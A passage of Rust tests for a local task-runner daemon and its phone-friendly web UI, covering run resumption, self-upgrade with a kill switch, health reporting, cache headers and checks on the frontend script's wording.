7691 assert!(err.contains(word), "the refusal names the status: {err}");
7692 }
7693
7694 let mid = "20260901-000000-midf";
7699 write_run(&runs, mid, RunStatus::Reviewing);
7700 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
7701 assert_eq!(res.status, 202, "an interrupted run is resumable");
7702 }
7703
7704 #[tokio::test]
7705 async fn resume_is_refused_while_the_loop_is_running() {
7706 let fx = Fixture::start().await;
7707 let runs = fx.runs();
7708 let stalled = "20260901-000000-stal";
7709 write_run(&runs, stalled, RunStatus::Stalled);
7710
7711 let mut beat = crate::daemon::Status::new();
7715 beat.current = vec![crate::daemon::Current {
7716 task: "20260901-000000-task".to_owned(),
7717 run: "20260901-000000-othr".to_owned(),
7718 }];
7719 beat.updated_at = jiff::Timestamp::now();
7720 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7721 .expect("publish a heartbeat");
7722
7723 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
7724 assert_eq!(res.status, 409);
7725 let err = res.json()["error"].as_str().unwrap().to_owned();
7726 assert!(err.contains("othr"), "it names what the loop is on: {err}");
7727 assert!(err.contains("stop it first"), "{err}");
7728 }
7729
7730 #[test]
7731 fn a_run_cannot_be_resumed_twice_at_once() {
7732 let home = TempDir::new().expect("temp home");
7733 let ui = Ui::new(
7734 Queue::at(home.path().join("queue")),
7735 Questions::at(home.path().join("questions")),
7736 Talks::at(home.path().join("talks")),
7737 home.path().join("runs"),
7738 home.path().to_path_buf(),
7739 PathBuf::from("/repo"),
7740 )
7741 .with_worktrees_root(home.path().join("wt"));
7742 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
7743 let again = ui.begin_resume("20260901-000000-once");
7744 assert!(again.is_err(), "a second tap must not start a second graph");
7745 drop(first);
7746 assert!(
7747 ui.begin_resume("20260901-000000-once").is_ok(),
7748 "and the claim is released when the attempt ends"
7749 );
7750 }
7751
7752 #[test]
7753 fn talk_thinking_tracks_only_its_held_turn_claim() {
7754 let home = TempDir::new().expect("temp home");
7755 let ui = Ui::new(
7756 Queue::at(home.path().join("queue")),
7757 Questions::at(home.path().join("questions")),
7758 Talks::at(home.path().join("talks")),
7759 home.path().join("runs"),
7760 home.path().to_path_buf(),
7761 PathBuf::from("/repo"),
7762 )
7763 .with_worktrees_root(home.path().join("wt"));
7764 let id = "20260901-000000-once";
7765
7766 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
7767 let turn = ui.begin_talk_turn(id).expect("claim turn");
7768 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
7769 assert!(
7770 !ui.is_thinking("20260901-000000-other"),
7771 "one talk's turn does not make another talk busy"
7772 );
7773 drop(turn);
7774 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
7775 }
7776
7777 #[tokio::test]
7778 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
7779 let fx = Fixture::start().await;
7780 let mut beat = crate::daemon::Status::new();
7784 beat.pid = 4321;
7785 beat.updated_at = jiff::Timestamp::now();
7786 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7787 .expect("publish a heartbeat");
7788
7789 let res = fx.post("/api/upgrade", None).await;
7790 assert_eq!(res.status, 409);
7791 let err = res.json()["error"].as_str().unwrap().to_owned();
7792 assert!(err.contains("4321"), "the refusal names the owner: {err}");
7793 assert!(err.contains("old one against the same queue"), "{err}");
7794 }
7795
7796 #[test]
7803 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
7804 assert!(!should_spawn_recheck(&crate::config::Update {
7805 mode: UpdateMode::Off,
7806 interval: None,
7807 }));
7808
7809 unsafe {
7812 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7813 }
7814 let killed = should_spawn_recheck(&crate::config::Update {
7815 mode: UpdateMode::Notify,
7816 interval: None,
7817 });
7818 unsafe {
7819 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7820 }
7821 assert!(
7822 !killed,
7823 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
7824 one-time startup check"
7825 );
7826
7827 assert!(should_spawn_recheck(&crate::config::Update {
7828 mode: UpdateMode::Notify,
7829 interval: None,
7830 }));
7831 }
7832
7833 #[test]
7839 fn recheck_poll_period_tracks_a_short_configured_interval() {
7840 let short = crate::config::Update {
7841 mode: UpdateMode::Notify,
7842 interval: Some("1m".to_owned()),
7843 };
7844 let period = recheck_poll_period(&short);
7845 assert!(
7846 period <= Duration::from_secs(30),
7847 "a one-minute interval must wake the task far sooner than the \
7848 default ceiling, or the deck would not notice within the \
7849 interval the operator configured: got {period:?}"
7850 );
7851
7852 let default = crate::config::Update {
7853 mode: UpdateMode::Notify,
7854 interval: None,
7855 };
7856 assert_eq!(
7857 recheck_poll_period(&default),
7858 UPDATE_RECHECK_POLL_MAX,
7859 "the default day-long interval should poll at the (capped) \
7860 ceiling rather than needlessly often"
7861 );
7862 }
7863
7864 #[test]
7872 fn recheck_skips_the_network_before_the_interval_elapses() {
7873 let dir = TempDir::new().expect("temp dir");
7874 let path = dir.path().join("state.json");
7875 let state = kaishin::UpdateCheckState {
7876 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
7877 last_known_latest: None,
7878 last_known_url: None,
7879 };
7880 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
7881
7882 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
7883 assert!(
7884 !update_recheck_due(&checker, None),
7885 "a check made moments ago must not be repeated before the \
7886 configured interval elapses"
7887 );
7888 }
7889
7890 #[test]
7896 fn recheck_defers_to_an_upgrade_already_in_flight() {
7897 let dir = TempDir::new().expect("temp dir");
7898 let path = dir.path().join("state.json");
7899 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
7900 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
7901
7902 assert!(
7903 !update_recheck_due(&checker, Some(&progress)),
7904 "a recheck must not run while an upgrade this deck started is \
7905 still moving"
7906 );
7907 }
7908
7909 #[tokio::test]
7910 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
7911 unsafe {
7923 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7924 }
7925 let fx = Fixture::start().await;
7926 let res = fx.post("/api/upgrade", None).await;
7927 unsafe {
7928 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7929 }
7930 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7931 let body = res.json();
7932 assert!(body["to"].is_null(), "there was no release to move to");
7933 assert!(body["parked"].is_null(), "and nothing was parked");
7934 assert!(
7935 body["detail"]
7936 .as_str()
7937 .unwrap()
7938 .contains("disabled by MAGI_NO_AUTOUPDATE"),
7939 "{body:?}"
7940 );
7941 }
7942
7943 #[tokio::test]
7944 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
7945 let repo = TempDir::new().expect("repo dir");
7961 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7962 .expect("write magi.toml");
7963 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7964
7965 let res = fx.post("/api/upgrade", None).await;
7971 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7972 let body = res.json();
7973 assert!(body["to"].is_null(), "there was no release to move to");
7974 assert!(body["parked"].is_null(), "and nothing was parked");
7975 assert!(
7976 body["detail"]
7977 .as_str()
7978 .unwrap()
7979 .contains("nothing restarted"),
7980 "{body:?}"
7981 );
7982 }
7983
7984 #[tokio::test]
7985 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
7986 let repo = TempDir::new().expect("repo dir");
7991 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7992 .expect("write magi.toml");
7993 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7994
7995 let health = fx.get("/api/health").await.json();
7996 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
7997 assert_eq!(
7998 health["update"]["available"], false,
7999 "checking is off, which reads as \"unknown\", not \"none\""
8000 );
8001 assert!(health["update"]["to"].is_null());
8002 assert!(
8003 health["upgrade"].is_null(),
8004 "nothing has ever asked this deck to upgrade"
8005 );
8006 }
8007
8008 #[tokio::test]
8009 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
8010 let fx = Fixture::start().await;
8011 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
8012
8013 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8014 progress.parked_run = Some("20260905-000000-cd51".to_owned());
8015 progress.advance(crate::updater::Stage::Parking);
8016 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8017
8018 let health = fx.get("/api/health").await.json();
8019 assert_eq!(health["upgrade"]["stage"], "parking");
8020 assert_eq!(health["upgrade"]["from"], "0.5.1");
8021 assert_eq!(health["upgrade"]["to"], "0.5.2");
8022 let waiting_on = health["upgrade"]["waiting_on"]
8023 .as_str()
8024 .expect("waiting_on is set while parking a known run");
8025 assert!(waiting_on.contains("cd51"), "{waiting_on}");
8026 assert!(waiting_on.contains("implementing"), "{waiting_on}");
8027 }
8028
8029 #[tokio::test]
8030 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
8031 let fx = Fixture::start().await;
8032 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8033 progress.advance(crate::updater::Stage::Done);
8034 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8035
8036 let health = fx.get("/api/health").await.json();
8037 assert_eq!(health["upgrade"]["stage"], "done");
8038 assert!(
8039 health["upgrade"]["waiting_on"].is_null(),
8040 "nothing to wait on once it is done"
8041 );
8042 }
8043
8044 #[tokio::test]
8045 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
8046 let home = TempDir::new().expect("temp home");
8047 let runs = home.path().join("runs");
8048 std::fs::create_dir_all(&runs).expect("runs dir");
8049 let ui = Ui::new(
8050 Queue::at(home.path().join("queue")),
8051 Questions::at(home.path().join("questions")),
8052 Talks::at(home.path().join("talks")),
8053 runs,
8054 home.path().to_path_buf(),
8055 PathBuf::from("/repo/magi"),
8056 )
8057 .with_launch(launch_idle);
8058 let looping = ui.looping();
8059 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8060 .await
8061 .expect("bind loopback");
8062 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8063
8064 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8065 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8066
8067 hand_over(home.path(), &looping, served, || Ok(()))
8068 .await
8069 .expect("hand over");
8070
8071 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8072 assert_eq!(
8073 after.stage,
8074 crate::updater::Stage::Restarting,
8075 "hand_over owns the record through parking and up to restarting; \
8076 the successor is what finishes it"
8077 );
8078 }
8079
8080 #[test]
8081 fn the_upgrade_button_arms_before_it_restarts_anything() {
8082 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8085 assert!(APP_JS.contains("Replace the binary and restart?"));
8086 assert!(APP_JS.contains("function confirmed("));
8087 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8092 assert!(
8096 APP_JS.contains("Parking, then restarting"),
8097 "the button says what it is waiting for"
8098 );
8099 assert!(APP_JS.contains("if (!out.to)"));
8102 }
8103
8104 #[test]
8105 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8106 assert!(
8107 APP_JS.contains("state.health.version"),
8108 "the operator wants to know what is running even with nothing newer"
8109 );
8110 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8111 }
8112
8113 #[test]
8114 fn the_upgrade_button_names_its_destination() {
8115 assert!(
8116 APP_JS.contains("`Update to ${update.to}`"),
8117 "pressing the button should not be a surprise about what it moves to"
8118 );
8119 }
8120
8121 #[test]
8122 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8123 for stage in ["downloading", "replaced", "parking", "restarting"] {
8124 assert!(
8125 APP_JS.contains(&format!("\"{stage}\"")),
8126 "the phone must be able to tell {stage} apart from the others"
8127 );
8128 }
8129 assert!(APP_JS.contains(".waiting_on"));
8130 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8135 assert!(APP_JS.contains("reconnects on its own"));
8136 }
8137
8138 #[test]
8139 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8140 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8149 ..APP_JS.find("function upgrade(").expect("upgrade")];
8150 assert!(
8151 !body.contains(
8152 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
8153 ),
8154 "a failed upgrade must not take the whole strip over the way it used to"
8155 );
8156 assert!(
8157 body.contains("upgradeFailNote"),
8158 "the failure has to reach the loop's own note instead"
8159 );
8160 assert_eq!(
8164 body.matches("upgradeFailNote].filter(Boolean).join")
8165 .count(),
8166 2,
8167 "both loop-why writers (quiet and control) must fold the note in"
8168 );
8169 }
8170
8171 #[test]
8172 fn an_overdue_upgrade_eventually_asks_for_a_human() {
8173 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8176 assert!(APP_JS.contains("function upgradeOverdue("));
8177 }
8178
8179 #[test]
8180 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8181 assert!(
8182 APP_JS.contains("Updated to ${upgradeInfo.to"),
8183 "the operator who asked for the restart wants to know it worked"
8184 );
8185 }
8186
8187 #[test]
8188 fn an_error_is_visible_from_where_the_button_is() {
8189 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8194 ..APP_CSS.find(".alert-text").expect(".alert-text")];
8195 assert!(
8196 alert.contains("position: fixed"),
8197 "an error about the thing under your thumb has to be visible from \
8198 where your thumb is: {alert}"
8199 );
8200 assert!(
8201 alert.contains("z-index: 25"),
8202 "above the dock (20) and the run-actions FAB (15), so neither \
8203 buries it: {alert}"
8204 );
8205 assert!(
8206 alert.contains("var(--tap)"),
8207 "and clear of the dock and the home indicator: {alert}"
8208 );
8209 assert!(
8212 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8213 "the FAB's column stays free: {alert}"
8214 );
8215 }
8216
8217 #[tokio::test]
8218 async fn an_older_attempt_says_what_replaced_it() {
8219 let fx = Fixture::start().await;
8220 let q = fx.queue();
8221 let runs = fx.runs();
8222 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8223 write_run(&runs, first, RunStatus::Stalled);
8224 write_run(&runs, second, RunStatus::Blocked);
8225
8226 let mut t = Task::new(
8227 "one task".to_owned(),
8228 "do it".to_owned(),
8229 PathBuf::from("/repo"),
8230 Source::Human,
8231 );
8232 t.runs = vec![first.to_owned(), second.to_owned()];
8233 q.put(&mut t).expect("put");
8234
8235 let rows = fx.get("/api/runs").await.json();
8239 let by = |short: &str| -> Value {
8240 rows.as_array()
8241 .unwrap()
8242 .iter()
8243 .find(|r| r["short"] == short)
8244 .cloned()
8245 .unwrap_or(Value::Null)
8246 };
8247 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8248 assert!(
8249 by("bbbb")["superseded_by"].is_null(),
8250 "the latest attempt is not superseded by anything"
8251 );
8252 assert!(APP_JS.contains("run.superseded_by"));
8254 assert!(APP_JS.contains("Superseded by"));
8255 }
8256
8257 #[tokio::test]
8258 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8259 let fx = Fixture::start().await;
8260 let js = fx.get("/app.js").await;
8266 assert_eq!(js.status, 200);
8267 let tag = js
8268 .header("etag")
8269 .expect("an etag to revalidate against")
8270 .to_owned();
8271 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8272 assert_eq!(
8273 js.header("cache-control"),
8274 Some("no-cache, must-revalidate"),
8275 "the phone has to ask every time"
8276 );
8277
8278 let again = fx
8281 .get_with("/app.js", &[("if-none-match", tag.as_str())])
8282 .await;
8283 assert_eq!(
8284 again.status, 304,
8285 "a deck it already has costs one round trip"
8286 );
8287 assert!(again.body.is_empty(), "304 carries no body");
8288
8289 let weak = fx
8292 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8293 .await;
8294 assert_eq!(weak.status, 304);
8295 let stale = fx
8296 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8297 .await;
8298 assert_eq!(stale.status, 200, "an older build must be replaced");
8299 assert!(stale.body.contains("renderRunActions"));
8300 }
8301
8302 #[test]
8303 fn the_deck_never_sends_the_operator_to_a_terminal() {
8304 assert!(
8307 !APP_JS.contains("Run `magi fold` first"),
8308 "the deck must offer the fold, not prescribe a shell command"
8309 );
8310 assert!(APP_JS.contains("foldRun:"));
8311 assert!(APP_JS.contains("resumeRun:"));
8312 assert!(APP_JS.contains("renderRunActions"));
8313
8314 assert!(APP_JS.contains("armedFold"));
8316 assert!(APP_JS.contains("Yes, fold worktrees"));
8317
8318 assert!(APP_JS.contains("can no longer be resumed"));
8321 }
8322
8323 #[test]
8324 fn a_finished_run_explains_itself_with_its_own_last_line() {
8325 assert!(
8331 !APP_JS.contains("collapsed on agent quota"),
8332 "a stall must not be explained by a cause the deck did not check"
8333 );
8334 assert!(
8335 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8336 "and a block must not offer a guess with an `or` in it"
8337 );
8338
8339 assert!(
8343 APP_JS.contains("setText(r.event, run.event || \"\")"),
8344 "the run's last line is rendered unconditionally"
8345 );
8346 assert!(
8347 !APP_JS.contains("moving && run.event"),
8348 "and never gated on the run still moving"
8349 );
8350
8351 assert!(APP_JS.contains("lost to quota"));
8353 }
8354
8355 #[test]
8377 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
8378 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
8379 let shapes_body_start =
8380 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
8381 let shapes_close = APP_JS[shapes_body_start..]
8382 .find("].map(")
8383 .expect("the shape list is closed by its done-computing .map(...)")
8384 + shapes_body_start;
8385 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
8386
8387 let mut shapes: Vec<(bool, String)> = Vec::new();
8388 for entry in shapes_src.split('{').skip(1) {
8389 let waiting = entry.contains("waiting: true");
8390 let status_at =
8391 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
8392 let status_end = entry[status_at..]
8393 .find('"')
8394 .expect("the status string is closed")
8395 + status_at;
8396 shapes.push((waiting, entry[status_at..status_end].to_string()));
8397 }
8398 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
8399
8400 let done_rule_marker = "done: !";
8404 let done_rule_at = APP_JS[shapes_close..]
8405 .find(done_rule_marker)
8406 .expect("the done rule follows the shape list")
8407 + shapes_close
8408 + done_rule_marker.len();
8409 let includes_at = APP_JS[done_rule_at..]
8410 .find(".includes(shape.status)")
8411 .expect("the done rule ends in .includes(shape.status)")
8412 + done_rule_at;
8413 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
8414 .trim()
8415 .trim_start_matches('[')
8416 .trim_end_matches(']')
8417 .split(',')
8418 .map(|s| s.trim().trim_matches('"'))
8419 .filter(|s| !s.is_empty())
8420 .collect();
8421
8422 let shapes: Vec<(bool, String, bool)> = shapes
8423 .into_iter()
8424 .map(|(waiting, status)| {
8425 let done = !not_done.contains(&status.as_str());
8426 (waiting, status, done)
8427 })
8428 .collect();
8429
8430 fn run_section(waiting: bool, status: &str) -> &'static str {
8434 if waiting {
8435 return "waiting";
8436 }
8437 match status {
8438 "merged" | "ready" => "landed",
8439 "stalled" | "blocked" | "failed" => "ended",
8440 _ => "flight",
8441 }
8442 }
8443
8444 fn filter_matches(filter_key: &str, waiting: bool, done: bool) -> bool {
8447 match filter_key {
8448 "active" => !done,
8449 "flight" => !done && !waiting,
8450 "waiting" => waiting,
8451 "done" => done,
8452 "all" => true,
8453 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
8454 }
8455 }
8456
8457 let compatible = |section: &str, filter_key: &str| {
8458 shapes.iter().any(|(waiting, status, done)| {
8459 run_section(*waiting, status) == section
8460 && filter_matches(filter_key, *waiting, *done)
8461 })
8462 };
8463
8464 let expected = [
8469 ("waiting", [true, false, true, true, true]),
8470 ("flight", [true, true, false, false, true]),
8471 ("landed", [false, false, false, true, true]),
8472 ("ended", [false, false, false, true, true]),
8473 ];
8474 let filter_keys = ["active", "flight", "waiting", "done", "all"];
8475
8476 for (section, wants) in expected {
8477 for (filter_key, want) in filter_keys.iter().zip(wants) {
8478 assert_eq!(
8479 compatible(section, filter_key),
8480 want,
8481 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
8482 );
8483 }
8484 }
8485
8486 assert!(
8489 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
8490 );
8491 assert!(APP_JS.contains(
8492 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
8493 ));
8494 assert!(APP_JS.contains(
8495 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
8496 ));
8497 }
8498
8499 #[tokio::test]
8500 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
8501 let dir = tempfile::tempdir().expect("tempdir");
8505 let explicit = dir.path().join("not-a-checkout");
8506 std::fs::create_dir_all(&explicit).expect("create dir");
8507 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
8508
8509 let missing = dir.path().join("does-not-exist-at-all");
8510 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
8511 }
8512}